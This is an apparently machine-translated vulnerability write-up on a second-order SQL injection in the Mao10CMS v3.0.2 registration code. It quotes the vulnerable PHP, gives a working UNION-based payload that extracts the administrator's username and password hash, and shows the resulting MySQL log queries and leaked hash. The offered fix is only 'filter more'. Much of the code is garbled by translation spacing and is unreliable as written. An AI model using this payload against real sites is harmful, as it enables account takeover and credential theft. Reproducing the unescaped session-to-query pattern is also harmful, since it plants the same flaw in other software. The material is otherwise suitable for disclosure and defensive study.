Mao10CMS v3.0.2 an interesting SQL injection.
User registry.
Public function submit () {$ ip_false = M ('option')-> where ("meta_key = 'IP _ false' AND type = 'user '") -> getField ('meta _ value', true); if ($ ip_false & in_array (mc_user_ip (), $ ip_false )) {$ this-> error ('the login to your IP address is permanently prohibited! ');} Else {if (empty ($ _ POST ['user _ name']) {$ this-> error ('account is required! ');} Else {$ user_login = M ('meta')-> where ("meta_key = 'user _ name' AND type = 'user '") -> getField ('meta _ value', true); if (in_array (strip_tags ($ _ POST ['user _ name']), $ user_login )) {$ this-> error ('account already exists! ') ;}}; If (empty ($ _ POST ['user _ email']) {$ this-> error ('email is required! ');} Else {$ user_email = M ('meta')-> where ("meta_key = 'user _ email' AND type = 'user '") -> getField ('meta _ value', true); if (in_array (strip_tags ($ _ POST ['user _ email ']), $ user_email )) {$ this-> error ('email already exists! ') ;}}; If (empty ($ _ POST ['user _ pass']) {$ this-> error ('password is required! ') ;}; If ($ _ POST ['user _ pass']! = $ _ POST ['user _ pass2 ']) {$ this-> error (' the two passwords must be consistent! ') ;}; $ User ['title'] = I ('Param. user_name '); $ user ['content'] = ''; $ user ['type'] = 'user '; $ user ['date'] = strtotime ("now"); $ result = M ("page")-> data ($ user)-> add (); if ($ result) {mc_add_meta ($ result, 'user _ name', I ('Param. user_name '), 'user'); $ user_pass = md5 (I ('Param. user_pass '). mc_option ('site _ key'); mc_add_meta ($ result, 'user _ pass', $ user_pass, 'user'); mc_add_meta ($ result, 'user _ email ', I ('Param. user_email '), 'User'); mc_add_meta ($ result, 'user _ level', '1', 'user'); session ('user _ name ', I ('Param. user_name '); session ('user _ pass', $ user_pass); $ ip_array = M ('action')-> where ("page_id = '". mc_user_id (). "'AND action_key = 'IP'")-> getField ('Action _ value', true); if ($ ip_array & in_array (mc_user_ip (), $ ip_array )) {} else {if (! Mc_is_admin () {mc_add_action (mc_user_id (), 'IP', mc_user_ip () ;}; if ($ _ POST ['comefrom']) {$ this-> success ('registration successful ', $ _ POST ['comefrom']);} else {$ this-> success ('registration successful ', U ('user/index/edit? Id = '. mc_user_id () ;}} else {$ this-> error ('registration failed ');}}}}
When the user name is enclosed in single quotes, although the user is escaped when the user is added to the database, the value assigned to the session is introduced again.
Session ('user _ name', I ('Param. user_name '));
Then let's take a look at this function mc_user_id ()
/Application/Common/function. php
function mc_user_id() {$page_id = M('meta')->where("meta_key='user_name' AND meta_value='".session('user_name')."' AND type='user'")->getField('page_id');$user_pass_true = mc_get_meta($page_id,'user_pass',true,'user');if(session('user_name') && session('user_pass') && session('user_pass') == $user_pass_true) {return $page_id;}}
This is an interesting part of this vulnerability. Because no error can be reported, we have to make the data appear in $ page_id. (The delay is too high. You have to register at least several hundred accounts .. So we will not consider it.) Now session ('user _ name') can be controlled and put into single quotes.
We want this $ page_id to include the Administrator's account password, and the correct password can also be returned through mc_get_meta ($ page_id, 'user _ pass', true, 'user. At the same time, $ page_id is controlled by user_name through M ('meta')-> where ("meta_key = 'user _ name' AND meta_value = '". session ('user _ name '). "'AND type = 'user'")-> getField ('page _ id'); returned. It sounds a bit difficult ~
Let's look at the code and mysql logs ~
Exp:
'Or meta_value % 3D 'admin') and 1 = 2 union select concat (SELECT meta_value from mc_meta where meta_key = 'user _ name' and page_id = 1 ), 0x5c, (SELECT meta_value from mc_meta where meta_key = 'user _ pass' and page_id = 1), '\' or page_id = \ '14') % 23
(14 is the registration id. Register an accesskey first. Add 1 to this id during injection)
First, it is okay to add an account to the database. Escape
INSERT INTO `mc_page` (`title`,`content`,`type`,`date`) VALUES ('\' or meta_value=\'admin\') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key=\'user_name\' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key=\'user_pass\' and page_id=1))),\'\\\' or page_id=\\\'14\')#','','user',1420485430) 397 QueryINSERT INTO `mc_meta` (`page_id`,`meta_key`,`meta_value`,`type`) VALUES (14,'user_name','\' or meta_value=\'admin\') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key=\'user_name\' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key=\'user_pass\' and page_id=1))),\'\\\' or page_id=\\\'14\')#','user')
Then, when the mc_user_id () function is introduced
$page_id = M('meta')->where("meta_key='user_name' AND meta_value='".session('user_name')."' AND type='user'")->getField('page_id');
SELECT `page_id` FROM `mc_meta` WHERE ( meta_key='user_name' AND meta_value='' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\' or page_id=\'14')#' AND type='user' ) LIMIT 1
At this time, our $ page_id will return
admin\0d4c7cf4fa2ab6685251d746a8f8564c' or page_id='14
Then $ user_pass_true = mc_get_meta ($ page_id, 'user _ pass', true, 'user ');
397 QuerySELECT `meta_value` FROM `mc_meta` WHERE ( page_id='admin\0d4c7cf4fa2ab6685251d746a8f8564c' or page_id='14' AND meta_key='user_pass' AND type ='user' ) LIMIT 1
The returned user_pass is equivalent to the user_pass corresponding to our session. So the data
Admin \ 0d4c7cf4fa2ab6685251d746a8f8564c 'or page_id = '14
The returned result causes injection.
Solution:
Filter more ~